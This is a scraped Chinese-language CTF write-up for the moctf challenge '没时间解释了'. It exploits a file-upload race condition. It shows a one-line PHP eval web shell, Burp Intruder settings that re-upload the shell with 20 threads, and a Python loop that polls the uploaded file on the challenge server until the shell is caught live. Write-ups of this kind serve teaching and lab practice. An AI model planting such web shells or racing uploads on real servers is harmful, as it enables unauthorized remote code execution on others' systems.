MOTCF 没时间解释了 条件竞争漏洞

moctf 没时间解释了 条件竞争漏洞

题目链接

条件竞争:

在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow。  
比如你上传了一句话木马shell.php,内容<?php @eval($_POST['pass']);?>,可以直接上传,但是马上内容会被修改为too slow  

方法:

修改内容会有时间,我们不断的上传这个文件并且不断的访问,会有一次我们正好访问到真正的shell.php  

因为服务器修改内容是很快的,所以我们得用脚本开启多线程上传,不过也可以直接用burp intruder模块,线程调到20,然后python用requests模块
循环访问就可以了。


现在来看题目:

打开这个网页和好像什么也干不了,不过细心的话会发现,index2.php,默认的话应该访问index.php。

访问index.php,发现还是打开的index2.php,访问index没有提示404没错了是302。burp抓包拦截一下,repeater发包.

 访问  

发现可以直接上传   

扫描二维码关注公众号,回复: 4146749 查看本文章
 访问  

提示Too slow!

猜测:

上传服务器后,服务器先保存然后判断文件,修改内容,就相当于把shell删除了。    

思路:

我们一边是不停的发送这个文件,一边不停地访问。

发送:

最简单的方法是burp的intruder模块。  
先进行拦截  

Send to Intruder  
Intruder->Positions->Clear$  
Payloads->payload sets->payload type->Null payloads   
Payloads->Payload options[Null payloads]->Continue indefinitely(持续发送)
Options->Number of threads(默认是5)调为20   

上边做的是对intruder模块的设置,开启20个线程不断的发送上传文件的操作。

import requests
url="http://119.23.73.3:5006/web2/uploads/863213e3f631b8a5eb1e2ce6c0d7ea9d89b423c4/2.php"
while 1:
    print(requests.get(url).text)

上边这个是不停的进行访问,其实这里不必开启多线程访问,因为上传文件和访问满足一个多线程就行了。

多说一句,现在条件竞争好像很受欢迎,在护网杯和刚结束的山东省赛都出现了。

猜你喜欢

转载自www.cnblogs.com/zaqzzz/p/9984582.html
今日推荐